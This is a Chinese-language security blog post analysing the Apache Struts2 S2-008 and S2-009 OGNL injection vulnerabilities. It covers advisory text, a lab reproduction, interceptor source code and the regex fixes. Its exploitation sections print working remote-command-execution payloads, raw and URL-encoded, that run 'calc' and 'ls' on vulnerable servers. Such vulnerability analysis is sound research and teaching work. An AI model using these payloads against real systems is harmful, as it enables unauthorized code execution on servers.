Kingkk's Blog.

【Struts2-命令-代码执行漏洞分析系列】 S2-008 & S2-009

2018/09/01 Share

前言

这两篇漏洞分析总感觉有些不尽人意的地方,可能也是因为太菜了吧。漏洞环境改自vulhub https://github.com/kingkaki/Struts2-Vulenv

S2-008

漏洞信息

https://cwiki.apache.org/confluence/display/WW/S2-008

主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码

  1. Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)
    When an exception occurs while applying parameter values to properties, the value is evaluated as an OGNL expression. For example, this occurs when setting a string value to an integer property. Since the values are not filtered an attacker can abuse the power of the OGNL language to execute arbitrary Java code leading to remote command execution. This issue has been reported (https://issues.apache.org/jira/browse/WW-3668) and was fixed in Struts 2.2.3.1. However the ability to execute arbitrary Java code has been overlooked.
  2. Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
    The character whitelist for parameter names is not applied to the CookieInterceptor. When Struts is configured to handle cookie names, an attacker can execute arbitrary system commands with static method access to Java functions. Therefore the flag allowStaticMethodAccess can be set to true within the request.
  3. Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
    While accessing the flag allowStaticMethodAccess within parameters is prohibited since Struts 2.2.3.1 an attacker can still access public constructors with only one parameter of type String to create new Java objects and access their setters with only one parameter of type String. This can be abused in example to create and overwrite arbitrary files. To inject forbidden characters into a filename an uninitialized string property can be used.
  4. Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)
    While not being a security vulnerability itself, please note that applications running in developer mode and using the DebuggingInterceptor are prone to remote command execution as well. While applications should never run in developer mode during production, developers should be aware that doing so not only has performance issues (as documented) but also a critical security impact.

第一种情况其实就是S2-007,在异常处理时的OGNL执行

第二种的cookie的方式,虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋

第四种需要开启devModedebug模式

漏洞利用

这里复现采用的是第四种devMode的debug模式,造成的任意代码执行

过程也比较简单,在struts.xml中配置了如下xml语句,就可以开启debug模式

1
<constant name="struts.devMode" value="true" />

然后传入?debug=command&expression=<OGNL EXP>即可执行OGNL表达式

1
http://localhost:8888/devmode.action?debug=command&expression=%28%23application%29

就可以看到应用的相关信息

然后按照惯例弹个计算器,payload

1
(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('calc').getInputStream()))

传入前记得编码

1
%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%29%29

漏洞分析

感觉没有什么太多好分析的,触发地址

1
S2-008/web/WEB-INF/lib/struts2-core-2.2.3.jar!/org/apache/struts2/interceptor/debugging/DebuggingInterceptor.class:87

代码比较多,而且比较多的部分都是无用的代码,就简化了下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public String intercept(ActionInvocation inv) throws Exception {
boolean actionOnly = false;
boolean cont = true;
Boolean devModeOverride = FilterDispatcher.getDevModeOverride();
boolean devMode = devModeOverride != null ? devModeOverride : this.devMode;
final ActionContext ctx;
if (devMode) {
ctx = ActionContext.getContext();
String type = this.getParameter("debug");
ctx.getParameters().remove("debug");
if ("xml".equals(type)) {
....
} else if ("console".equals(type)) {
....
} else if ("command".equals(type)) {
ValueStack stack = (ValueStack)ctx.getSession().get("org.apache.struts2.interceptor.debugging.VALUE_STACK");
if (stack == null) {
stack = (ValueStack)ctx.get("com.opensymphony.xwork2.util.ValueStack.ValueStack");
ctx.getSession().put("org.apache.struts2.interceptor.debugging.VALUE_STACK", stack);
}

String cmd = this.getParameter("expression");
ServletActionContext.getRequest().setAttribute("decorator", "none");
HttpServletResponse res = ServletActionContext.getResponse();
res.setContentType("text/plain");

try {
PrintWriter writer = ServletActionContext.getResponse().getWriter();
writer.print(stack.findValue(cmd));
writer.close();
} catch (IOException var17) {
var17.printStackTrace();
}
.....

一开始取出get中的debug参数的值,然后进入if语句

当值等于command时,取出expression的值赋值给cmd

通过statck.findValue即可执行OGNL表达式,造成代码执行

漏洞修复

主要是加强了对于参数的正则匹配ParametersInterceptor.class(左边为修补后的,右边为有漏洞的版本)

CookieInterceptor.class中也做了限制

S2-009

漏洞信息

https://cwiki.apache.org/confluence/display/WW/S2-009

OGNL provides, among other features, extensive expression evaluation capabilities. The vulnerability allows a malicious user to bypass all the protections (regex pattern, deny method invocation) built into the ParametersInterceptor, thus being able to inject a malicious expression in any exposed string variable for further evaluation.

A similar behavior was already addressed in S2-003 and S2-005, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
Regular expression in ParametersInterceptor matches top[‘foo’](0) as a valid expression, which OGNL treats as (top[‘foo’])(0) and evaluates the value of ‘foo’ action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.

在修补了S2-003和S2-005之后,攻击者又发现了一种新的绕过ParametersInterceptor正则保护的攻击方式

当传入(ONGL)(1)时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护

漏洞利用

这回是直接利用官方的showcasewar包来演示漏洞利用

触发地址/ajax/example5.action

在网上找了个有回显的payload

1
age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#a=@java.lang.Runtime@getRuntime().exec('ls').getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]

编码后完整的url

1
http://192.168.85.133:8080/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

网页访问会返回一个文件下载,这里直接用burp会方便点,可以直接看

漏洞分析

感觉这回的没什么好分析的,还是之前提的

当传入(ONGL)(1)时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护

主要还是参数过滤的问题,可以配合漏洞修复一起看看

漏洞修复

在参数拦截器中,将接受参数的正则进行了升级

struts2.3.1.1:

1
private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_']+";

struts2.3.1.2:

1
private String acceptedParamNames = "\\w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*";

从而防御了(ONGL)(1)形式的攻击

Reference Links

http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities/#S2-008

https://www.jianshu.com/p/68bf5ca2d61f

https://github.com/vulhub

CATALOG
  1. 1. 前言
  2. 2. S2-008
    1. 2.1. 漏洞信息
    2. 2.2. 漏洞利用
    3. 2.3. 漏洞分析
    4. 2.4. 漏洞修复
  3. 3. S2-009
    1. 3.1. 漏洞信息
    2. 3.2. 漏洞利用
    3. 3.3. 漏洞分析
    4. 3.4. 漏洞修复
  4. 4. Reference Links